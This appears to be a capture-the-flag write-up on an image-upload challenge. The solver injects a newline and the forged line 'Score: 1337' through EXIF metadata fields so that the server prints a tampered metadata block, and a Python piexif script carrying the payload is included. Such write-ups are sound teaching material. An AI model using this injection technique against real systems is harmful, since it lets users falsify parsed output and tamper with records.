Challenge
Upload an image and the server parses it and prints a metadata block back, things like Faces, Contrast, Area, Score, ImageDescription, Timestamp, and Filename:
== metadata ==
Faces: 8
Contrast: 2403.329406
Area: 145656
Score: 1337
Timestamp: ...
Filename: ...
== end ==
Approach
The opening was that some fields were derived from attacker controlled image properties. If we could get a string into a field like width or height, we could write content into the block ahead of Score. PIL string multiplication ("test" * 1) and a newline trick both let us inject, though the newline landed later in the file than we first wanted. Writing the filename metadata first turned out to be the clean version of the exploit.
Solution
Recovered by controlling the parsed metadata block.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
| import piexif
from PIL import Image
import os
def read_exif(file_path):
"""Read EXIF data from an image file."""
try:
return piexif.load(file_path)
except Exception as e:
print(f"Error reading EXIF data: {e}")
return None
def write_exif(file_path, exif_dict):
"""Write EXIF data to an image file."""
try:
exif_bytes = piexif.dump(exif_dict)
piexif.insert(exif_bytes, file_path)
print(f"EXIF data written to {file_path}")
except Exception as e:
print(f"Error writing EXIF data: {e}")
def add_custom_field(exif_dict, field_name, value):
"""Add a custom field to EXIF data."""
# Use a high number for custom tags to avoid conflicts
custom_tag = 0x9c9d # This is an arbitrary choice
exif_dict['0th'][custom_tag] = str(value).encode()
exif_dict['0th'][piexif.ImageIFD.ImageDescription] = field_name.encode()
def print_exif(exif_dict):
"""Print EXIF data in a readable format."""
if not exif_dict:
print("No EXIF data found.")
return
for ifd in exif_dict:
if ifd == "thumbnail":
continue
print(f"{ifd}:")
for tag in exif_dict[ifd]:
tag_name = piexif.TAGS[ifd].get(tag, {}).get("name", str(tag))
value = exif_dict[ifd][tag]
if isinstance(value, bytes):
value = value.decode(errors='replace')
print(f" {tag_name}: {value}")
def main():
file_path = 'people.jpg' # Change this to your image path
# Read current EXIF data
print("Current EXIF data:")
exif_dict = read_exif(file_path)
print_exif(exif_dict)
# Add custom field
if exif_dict:
add_custom_field(exif_dict, '\nScore: 1337', 1337)
write_exif(file_path, exif_dict)
# Read and print updated EXIF data
print("\nUpdated EXIF data:")
updated_exif = read_exif(file_path)
print_exif(updated_exif)
if __name__ == "__main__":
main()
|